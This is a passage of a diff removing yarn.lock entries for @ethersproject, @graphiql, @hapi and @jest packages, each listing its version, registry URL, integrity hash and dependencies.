-  resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.3.1.tgz#69a1a496729d3a83521675a57cbe21f3cc27241c"
-  integrity sha512-F98FWTJG7nWWAQ4DcV6R0cSlrj67MWK3ylahuFbzkumem5cLWg1p7fZ3vIdRoS1c7TEf55Lvyx0w7ICR47IImw==
-  dependencies:
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/hash" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-
-"@ethersproject/abstract-provider@5.3.0", "@ethersproject/abstract-provider@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abstract-provider/-/abstract-provider-5.3.0.tgz#f4c0ae4a4cef9f204d7781de805fd44b72756c81"
-  integrity sha512-1+MLhGP1GwxBDBNwMWVmhCsvKwh4gK7oIfOrmlmePNeskg1NhIrYssraJBieaFNHUYfKEd/1DjiVZMw8Qu5Cxw==
-  dependencies:
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/networks" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-    "@ethersproject/web" "^5.3.0"
-
-"@ethersproject/abstract-signer@5.3.0", "@ethersproject/abstract-signer@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abstract-signer/-/abstract-signer-5.3.0.tgz#05172b653e15b535ed5854ef5f6a72f4b441052d"
-  integrity sha512-w8IFwOYqiPrtvosPuArZ3+QPR2nmdVTRrVY8uJYL3NNfMmQfTy3V3l2wbzX47UUlNbPJY+gKvzJAyvK1onZxJg==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-
-"@ethersproject/address@5.3.0", "@ethersproject/address@^5.0.5", "@ethersproject/address@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/address/-/address-5.3.0.tgz#e53b69eacebf332e8175de814c5e6507d6932518"
-  integrity sha512-29TgjzEBK+gUEUAOfWCG7s9IxLNLCqvr+oDSk6L9TXD0VLvZJKhJV479tKQqheVA81OeGxfpdxYtUVH8hqlCvA==
-  dependencies:
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/rlp" "^5.3.0"
-
-"@ethersproject/base64@5.3.0", "@ethersproject/base64@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/base64/-/base64-5.3.0.tgz#b831fb35418b42ad24d943c557259062b8640824"
-  integrity sha512-JIqgtOmgKcbc2sjGWTXyXktqUhvFUDte8fPVsAaOrcPiJf6YotNF+nsrOYGC9pbHBEGSuSBp3QR0varkO8JHEw==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-
-"@ethersproject/basex@5.3.0", "@ethersproject/basex@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/basex/-/basex-5.3.0.tgz#02dea3ab8559ae625c6d548bc11773432255c916"
-  integrity sha512-8J4nS6t/SOnoCgr3DF5WCSRLC5YwTKYpZWJqeyYQLX+86TwPhtzvHXacODzcDII9tWKhVg6g0Bka8JCBWXsCiQ==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-
-"@ethersproject/bignumber@5.3.0", "@ethersproject/bignumber@^5.0.8", "@ethersproject/bignumber@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/bignumber/-/bignumber-5.3.0.tgz#74ab2ec9c3bda4e344920565720a6ee9c794e9db"
-  integrity sha512-5xguJ+Q1/zRMgHgDCaqAexx/8DwDVLRemw2i6uR8KyGjwGdXI8f32QZZ1cKGucBN6ekJvpUpHy6XAuQnTv0mPA==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    bn.js "^4.11.9"
-
-"@ethersproject/bytes@5.3.0", "@ethersproject/bytes@^5.0.5", "@ethersproject/bytes@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/bytes/-/bytes-5.3.0.tgz#473e0da7f831d535b2002be05e6f4ca3729a1bc9"
-  integrity sha512-rqLJjdVqCcn7glPer7Fxh87PRqlnRScVAoxcIP3PmOUNApMWJ6yRdOFfo2KvPAdO7Le3yEI1o0YW+Yvr7XCYvw==
-  dependencies:
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/constants@5.3.0", "@ethersproject/constants@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/constants/-/constants-5.3.0.tgz#a5d6d86c0eec2c64c3024479609493b9afb3fc77"
-  integrity sha512-4y1feNOwEpgjAfiCFWOHznvv6qUF/H6uI0UKp8xdhftb+H+FbKflXg1pOgH5qs4Sr7EYBL+zPyPb+YD5g1aEyw==
-  dependencies:
-    "@ethersproject/bignumber" "^5.3.0"
-
-"@ethersproject/contracts@5.3.0", "@ethersproject/contracts@^5.0.5":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/contracts/-/contracts-5.3.0.tgz#ad699a3abaae30bfb6422cf31813a663b2d4099c"
-  integrity sha512-eDyQ8ltykvyQqnGZxb/c1e0OnEtzqXhNNC4BX8nhYBCaoBrYYuK/1fLmyEvc5+XUMoxNhwpYkoSSwvPLci7/Zg==
-  dependencies:
-    "@ethersproject/abi" "^5.3.0"
-    "@ethersproject/abstract-provider" "^5.3.0"
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-
-"@ethersproject/hash@5.3.0", "@ethersproject/hash@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/hash/-/hash-5.3.0.tgz#f65e3bf3db3282df4da676db6cfa049535dd3643"
-  integrity sha512-gAFZSjUPQ32CIfoKSMtMEQ+IO0kQxqhwz9fCIFt2DtAq2u4pWt8mL9Z5P0r6KkLcQU8LE9FmuPPyd+JvBzmr1w==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-
-"@ethersproject/hdnode@5.3.0", "@ethersproject/hdnode@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/hdnode/-/hdnode-5.3.0.tgz#26fed65ffd5c25463fddff13f5fb4e5617553c94"
-  integrity sha512-zLmmtLNoDMGoYRdjOab01Zqkvp+TmZyCGDAMQF1Bs3yZyBs/kzTNi1qJjR1jVUcPP5CWGtjFwY8iNG8oNV9J8g==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/basex" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/pbkdf2" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/sha2" "^5.3.0"
-    "@ethersproject/signing-key" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-    "@ethersproject/wordlists" "^5.3.0"
-
-"@ethersproject/json-wallets@5.3.0", "@ethersproject/json-wallets@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/json-wallets/-/json-wallets-5.3.0.tgz#7b1a5ff500c12aa8597ae82c8939837b0449376e"
-  integrity sha512-/xwbqaIb5grUIGNmeEaz8GdcpmDr++X8WT4Jqcclnxow8PXCUHFeDxjf3O+nSuoqOYG/Ds0+BI5xuQKbva6Xkw==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/hdnode" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/pbkdf2" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/random" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-    aes-js "3.0.0"
-    scrypt-js "3.0.1"
-
-"@ethersproject/keccak256@5.3.0", "@ethersproject/keccak256@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/keccak256/-/keccak256-5.3.0.tgz#fb5cd36bdfd6fa02e2ea84964078a9fc6bd731be"
-  integrity sha512-Gv2YqgIUmRbYVNIibafT0qGaeGYLIA/EdWHJ7JcVxVSs2vyxafGxOJ5VpSBHWeOIsE6OOaCelYowhuuTicgdFQ==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    js-sha3 "0.5.7"
-
-"@ethersproject/logger@5.3.0", "@ethersproject/logger@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/logger/-/logger-5.3.0.tgz#7a69fa1d4ca0d4b7138da1627eb152f763d84dd0"
-  integrity sha512-8bwJ2gxJGkZZnpQSq5uSiZSJjyVTWmlGft4oH8vxHdvO1Asy4TwVepAhPgxIQIMxXZFUNMych1YjIV4oQ4I7dA==
-
-"@ethersproject/networks@5.3.1", "@ethersproject/networks@^5.3.0":
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/@ethersproject/networks/-/networks-5.3.1.tgz#78fe08324cee289ce239acf8c746121934b2ef61"
-  integrity sha512-6uQKHkYChlsfeiZhQ8IHIqGE/sQsf25o9ZxAYpMxi15dLPzz3IxOEF5KiSD32aHwsjXVBKBSlo+teAXLlYJybw==
-  dependencies:
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/pbkdf2@5.3.0", "@ethersproject/pbkdf2@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/pbkdf2/-/pbkdf2-5.3.0.tgz#8adbb41489c3c9f319cc44bc7d3e6095fd468dc8"
-  integrity sha512-Q9ChVU6gBFiex0FSdtzo4b0SAKz3ZYcYVFLrEWHL0FnHvNk3J3WgAtRNtBQGQYn/T5wkoTdZttMbfBkFlaiWcA==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/sha2" "^5.3.0"
-
-"@ethersproject/properties@5.3.0", "@ethersproject/properties@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/properties/-/properties-5.3.0.tgz#feef4c4babeb7c10a6b3449575016f4ad2c092b2"
-  integrity sha512-PaHxJyM5/bfusk6vr3yP//JMnm4UEojpzuWGTmtL5X4uNhNnFNvlYilZLyDr4I9cTkIbipCMsAuIcXWsmdRnEw==
-  dependencies:
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/providers@5.3.1", "@ethersproject/providers@^5.0.12":
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/@ethersproject/providers/-/providers-5.3.1.tgz#a12c6370e8cbc0968c9744641b8ef90b0dd5ec2b"
-  integrity sha512-HC63vENTrur6/JKEhcQbA8PRDj1FAesdpX98IW+xAAo3EAkf70ou5fMIA3KCGzJDLNTeYA4C2Bonz849tVLekg==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.3.0"
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/basex" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/hash" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/networks" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/random" "^5.3.0"
-    "@ethersproject/rlp" "^5.3.0"
-    "@ethersproject/sha2" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-    "@ethersproject/web" "^5.3.0"
-    bech32 "1.1.4"
-    ws "7.4.6"
-
-"@ethersproject/random@5.3.0", "@ethersproject/random@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/random/-/random-5.3.0.tgz#7c46bf36e50cb0d0550bc8c666af8e1d4496dc1a"
-  integrity sha512-A5SL/4inutSwt3Fh2OD0x2gz+x6GHmuUnIPkR7zAiTidMD2N8F6tZdMF1hlQKWVCcVMWhEQg8mWijhEzm6BBYw==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/rlp@5.3.0", "@ethersproject/rlp@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/rlp/-/rlp-5.3.0.tgz#7cb93a7b5dfa69163894153c9d4b0d936f333188"
-  integrity sha512-oI0joYpsRanl9guDubaW+1NbcpK0vJ3F/6Wpcanzcnqq+oaW9O5E98liwkEDPcb16BUTLIJ+ZF8GPIHYxJ/5Pw==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/sha2@5.3.0", "@ethersproject/sha2@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/sha2/-/sha2-5.3.0.tgz#209f9a1649f7d2452dcd5e5b94af43b7f3f42366"
-  integrity sha512-r5ftlwKcocYEuFz2JbeKOT5SAsCV4m1RJDsTOEfQ5L67ZC7NFDK5i7maPdn1bx4nPhylF9VAwxSrQ1esmwzylg==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    hash.js "1.1.7"
-
-"@ethersproject/signing-key@5.3.0", "@ethersproject/signing-key@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/signing-key/-/signing-key-5.3.0.tgz#a96c88f8173e1abedfa35de32d3e5db7c48e5259"
-  integrity sha512-+DX/GwHAd0ok1bgedV1cKO0zfK7P/9aEyNoaYiRsGHpCecN7mhLqcdoUiUzE7Uz86LBsxm5ssK0qA1kBB47fbQ==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    bn.js "^4.11.9"
-    elliptic "6.5.4"
-    hash.js "1.1.7"
-
-"@ethersproject/solidity@5.3.0", "@ethersproject/solidity@^5.0.9":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/solidity/-/solidity-5.3.0.tgz#2a0b00b4aaaef99a080ddea13acab1fa35cd4a93"
-  integrity sha512-uLRBaNUiISHbut94XKewJgQh6UmydWTBp71I7I21pkjVXfZO2dJ5EOo3jCnumJc01M4LOm79dlNNmF3oGIvweQ==
-  dependencies:
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/sha2" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-
-"@ethersproject/strings@5.3.0", "@ethersproject/strings@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/strings/-/strings-5.3.0.tgz#a6b640aab56a18e0909f657da798eef890968ff0"
-  integrity sha512-j/AzIGZ503cvhuF2ldRSjB0BrKzpsBMtCieDtn4TYMMZMQ9zScJn9wLzTQl/bRNvJbBE6TOspK0r8/Ngae/f2Q==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/transactions@5.3.0", "@ethersproject/transactions@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/transactions/-/transactions-5.3.0.tgz#49b86f2bafa4d0bdf8e596578fc795ee47c50458"
-  integrity sha512-cdfK8VVyW2oEBCXhURG0WQ6AICL/r6Gmjh0e4Bvbv6MCn/GBd8FeBH3rtl7ho+AW50csMKeGv3m3K1HSHB2jMQ==
-  dependencies:
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/rlp" "^5.3.0"
-    "@ethersproject/signing-key" "^5.3.0"
-
-"@ethersproject/units@5.3.0", "@ethersproject/units@^5.0.6":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/units/-/units-5.3.0.tgz#c4d1493532ad3d4ddf6e2bc4f8c94a2db933a8f5"
-  integrity sha512-BkfccZGwfJ6Ob+AelpIrgAzuNhrN2VLp3AILnkqTOv+yBdsc83V4AYf25XC/u0rHnWl6f4POaietPwlMqP2vUg==
-  dependencies:
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/constants" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-
-"@ethersproject/wallet@5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/wallet/-/wallet-5.3.0.tgz#91946b470bd279e39ade58866f21f92749d062af"
-  integrity sha512-boYBLydG6671p9QoG6EinNnNzbm7DNOjVT20eV8J6HQEq4aUaGiA2CytF2vK+2rOEWbzhZqoNDt6AlkE1LlsTg==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.3.0"
-    "@ethersproject/abstract-signer" "^5.3.0"
-    "@ethersproject/address" "^5.3.0"
-    "@ethersproject/bignumber" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/hash" "^5.3.0"
-    "@ethersproject/hdnode" "^5.3.0"
-    "@ethersproject/json-wallets" "^5.3.0"
-    "@ethersproject/keccak256" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/random" "^5.3.0"
-    "@ethersproject/signing-key" "^5.3.0"
-    "@ethersproject/transactions" "^5.3.0"
-    "@ethersproject/wordlists" "^5.3.0"
-
-"@ethersproject/web@5.3.0", "@ethersproject/web@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/web/-/web-5.3.0.tgz#7959c403f6476c61515008d8f92da51c553a8ee1"
-  integrity sha512-Ni6/DHnY6k/TD41LEkv0RQDx4jqWz5e/RZvrSecsxGYycF+MFy2z++T/yGc2peRunLOTIFwEksgEGGlbwfYmhQ==
-  dependencies:
-    "@ethersproject/base64" "^5.3.0"
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-
-"@ethersproject/wordlists@5.3.0", "@ethersproject/wordlists@^5.3.0":
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/wordlists/-/wordlists-5.3.0.tgz#45a0205f5178c1de33d316cb2ab7ed5eac3c06c5"
-  integrity sha512-JcwumCZcsUxgWpiFU/BRy6b4KlTRdOmYvOKZcAw/3sdF93/pZyPW5Od2hFkHS8oWp4xS06YQ+qHqQhdcxdHafQ==
-  dependencies:
-    "@ethersproject/bytes" "^5.3.0"
-    "@ethersproject/hash" "^5.3.0"
-    "@ethersproject/logger" "^5.3.0"
-    "@ethersproject/properties" "^5.3.0"
-    "@ethersproject/strings" "^5.3.0"
-
-"@graphiql/toolkit@^0.2.0":
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/@graphiql/toolkit/-/toolkit-0.2.2.tgz#193d570afcf686c9ee61c92054c1782b9f3c1255"
-  integrity sha512-kDgYhqnS4p4LqSo1KvLd3tbX8Hhdj0ZrgQuGsosjjEnahiPYmmylxUL1p9lj6348OsypcTlCncGpEjeb9S3TiQ==
-  dependencies:
-    "@n1ru4l/push-pull-async-iterable-iterator" "^2.1.4"
-    graphql-ws "^4.3.2"
-    meros "^1.1.4"
-  optionalDependencies:
-    subscriptions-transport-ws "^0.9.18"
-
-"@graphql-typed-document-node/core@^3.0.0":
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/@graphql-typed-document-node/core/-/core-3.1.0.tgz#0eee6373e11418bfe0b5638f654df7a4ca6a3950"
-  integrity sha512-wYn6r8zVZyQJ6rQaALBEln5B1pzxb9shV5Ef97kTvn6yVGrqyXVnDqnU24MXnFubR+rZjBY9NWuxX3FB2sTsjg==
-
-"@hapi/address@2.x.x":
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/@hapi/address/-/address-2.1.4.tgz#5d67ed43f3fd41a69d4b9ff7b56e7c0d1d0a81e5"
-  integrity sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==
-
-"@hapi/bourne@1.x.x":
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/@hapi/bourne/-/bourne-1.3.2.tgz#0a7095adea067243ce3283e1b56b8a8f453b242a"
-  integrity sha512-1dVNHT76Uu5N3eJNTYcvxee+jzX4Z9lfciqRRHCU27ihbUcYi+iSc2iml5Ke1LXe1SyJCLA0+14Jh4tXJgOppA==
-
-"@hapi/hoek@8.x.x", "@hapi/hoek@^8.3.0":
-  version "8.5.1"
-  resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-8.5.1.tgz#fde96064ca446dec8c55a8c2f130957b070c6e06"
-  integrity sha512-yN7kbciD87WzLGc5539Tn0sApjyiGHAJgKvG9W8C7O+6c7qmoQMfVs0W4bX17eqz6C78QJqqFrtgdK5EWf6Qow==
-
-"@hapi/joi@^15.0.0":
-  version "15.1.1"
-  resolved "https://registry.yarnpkg.com/@hapi/joi/-/joi-15.1.1.tgz#c675b8a71296f02833f8d6d243b34c57b8ce19d7"
-  integrity sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==
-  dependencies:
-    "@hapi/address" "2.x.x"
-    "@hapi/bourne" "1.x.x"
-    "@hapi/hoek" "8.x.x"
-    "@hapi/topo" "3.x.x"
-
-"@hapi/topo@3.x.x":
-  version "3.1.6"
-  resolved "https://registry.yarnpkg.com/@hapi/topo/-/topo-3.1.6.tgz#68d935fa3eae7fdd5ab0d7f953f3205d8b2bfc29"
-  integrity sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==
-  dependencies:
-    "@hapi/hoek" "^8.3.0"
-
-"@jest/console@^24.7.1", "@jest/console@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/console/-/console-24.9.0.tgz#79b1bc06fb74a8cfb01cbdedf945584b1b9707f0"
-  integrity sha512-Zuj6b8TnKXi3q4ymac8EQfc3ea/uhLeCGThFqXeC8H9/raaH8ARPUTdId+XyGd03Z4In0/VjD2OYFcBF09fNLQ==
-  dependencies:
-    "@jest/source-map" "^24.9.0"
-    chalk "^2.0.1"
-    slash "^2.0.0"
-
-"@jest/core@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/core/-/core-24.9.0.tgz#2ceccd0b93181f9c4850e74f2a9ad43d351369c4"
-  integrity sha512-Fogg3s4wlAr1VX7q+rhV9RVnUv5tD7VuWfYy1+whMiWUrvl7U3QJSJyWcDio9Lq2prqYsZaeTv2Rz24pWGkJ2A==
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/reporters" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    ansi-escapes "^3.0.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    graceful-fs "^4.1.15"
-    jest-changed-files "^24.9.0"
-    jest-config "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-resolve-dependencies "^24.9.0"
-    jest-runner "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    jest-watcher "^24.9.0"
-    micromatch "^3.1.10"
-    p-each-series "^1.0.0"
-    realpath-native "^1.1.0"
-    rimraf "^2.5.4"
-    slash "^2.0.0"
-    strip-ansi "^5.0.0"
-
-"@jest/environment@^24.3.0", "@jest/environment@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/environment/-/environment-24.9.0.tgz#21e3afa2d65c0586cbd6cbefe208bafade44ab18"
-  integrity sha512-5A1QluTPhvdIPFYnO3sZC3smkNeXPVELz7ikPbhUj0bQjB07EoE9qtLrem14ZUYWdVayYbsjVwIiL4WBIMV4aQ==
-  dependencies:
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-
-"@jest/fake-timers@^24.3.0", "@jest/fake-timers@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/fake-timers/-/fake-timers-24.9.0.tgz#ba3e6bf0eecd09a636049896434d306636540c93"
-  integrity sha512-eWQcNa2YSwzXWIMC5KufBh3oWRIijrQFROsIqt6v/NS9Io/gknw1jsAC9c+ih/RQX4A3O7SeWAhQeN0goKhT9A==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-mock "^24.9.0"
-
-"@jest/reporters@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/reporters/-/reporters-24.9.0.tgz#86660eff8e2b9661d042a8e98a028b8d631a5b43"
-  integrity sha512-mu4X0yjaHrffOsWmVLzitKmmmWSQ3GGuefgNscUSWNiUNcEOSEQk9k3pERKEQVBb0Cnn88+UESIsZEMH3o88Gw==
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    glob "^7.1.2"
-    istanbul-lib-coverage "^2.0.2"
-    istanbul-lib-instrument "^3.0.1"
-    istanbul-lib-report "^2.0.4"
-    istanbul-lib-source-maps "^3.0.1"
-    istanbul-reports "^2.2.6"
-    jest-haste-map "^24.9.0"
-    jest-resolve "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.6.0"
-    node-notifier "^5.4.2"
-    slash "^2.0.0"
-    source-map "^0.6.0"
-    string-length "^2.0.0"
-
-"@jest/source-map@^24.3.0", "@jest/source-map@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/source-map/-/source-map-24.9.0.tgz#0e263a94430be4b41da683ccc1e6bffe2a191714"
-  integrity sha512-/Xw7xGlsZb4MJzNDgB7PW5crou5JqWiBQaz6xyPd3ArOg2nfn/PunV8+olXbbEZzNl591o5rWKE9BRDaFAuIBg==
-  dependencies:
-    callsites "^3.0.0"
-    graceful-fs "^4.1.15"
-    source-map "^0.6.0"
-
-"@jest/test-result@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/test-result/-/test-result-24.9.0.tgz#11796e8aa9dbf88ea025757b3152595ad06ba0ca"
-  integrity sha512-XEFrHbBonBJ8dGp2JmF8kP/nQI/ImPpygKHwQ/SY+es59Z3L5PI4Qb9TQQMAEeYsThG1xF0k6tmG0tIKATNiiA==
-  dependencies:
-    "@jest/console" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/istanbul-lib-coverage" "^2.0.0"
-
-"@jest/test-sequencer@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/test-sequencer/-/test-sequencer-24.9.0.tgz#f8f334f35b625a4f2f355f2fe7e6036dad2e6b31"
-  integrity sha512-6qqsU4o0kW1dvA95qfNog8v8gkRN9ph6Lz7r96IvZpHdNipP2cBcb07J1Z45mz/VIS01OHJ3pY8T5fUY38tg4A==
-  dependencies:
-    "@jest/test-result" "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-runner "^24.9.0"
-    jest-runtime "^24.9.0"
-
-"@jest/transform@^24.9.0":
-  version "24.9.0"
